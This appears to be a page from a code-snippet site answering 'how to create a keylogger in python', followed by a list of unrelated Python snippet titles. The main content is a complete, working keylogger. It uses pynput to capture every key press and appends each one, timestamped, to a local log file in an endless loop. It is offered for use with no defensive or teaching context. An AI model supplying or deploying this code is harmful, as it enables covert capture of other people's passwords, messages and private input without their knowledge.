Search
 
SCRIPT & CODE EXAMPLE
 

PYTHON

how to create a keylogger in python

import logging
import os
from pynput.keyboard import Listener

log_Directory = os.getcwd() + '/'  # where save file
print(os.getcwd()) # directory
# create file 
logging.basicConfig(filename=(log_Directory + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

# function in logging
def on_press(key):
    logging.info(key)
    # when press key save the key in file


with Listener(on_press=on_press) as listener:
    listener.join()  # infinite cicle
Comment

PREVIOUS NEXT
Code Example
Python :: how to install pandas datareader in conda 
Python :: rotate x label 90 degrees seaborn 
Python :: count number of matrix islands python 
Python :: python hand tracking module 
Python :: pandas insert column in the beginning 
Python :: setwd python 
Python :: save numpy arrayw with PIL 
Python :: python flask query params 
Python :: how to count docx pages python 
Python :: unlimited arguments python 
Python :: display Max rows in a pandas dataframe 
Python :: python app to deb 
Python :: flask run app reset on change 
Python :: combination python 
Python :: throw error python 
Python :: how to generate a random number python 
Python :: size of variable python 
Python :: python reference script directory 
Python :: django bootstrap 5 
Python :: how to plot roc curve in python 
Python :: python most common element in list 
Python :: use python3 as default ubuntu 
Python :: godot white shader 
Python :: python split first space 
Python :: make length string in pandas 
Python :: python print float with 2 decimals 
Python :: tkinter maximum window size 
Python :: how to open local html file in python 
Python :: count similar values in list python 
Python :: how to make turtle invisible python 
ADD CONTENT
Topic
Content
Source link
Name
3+1 =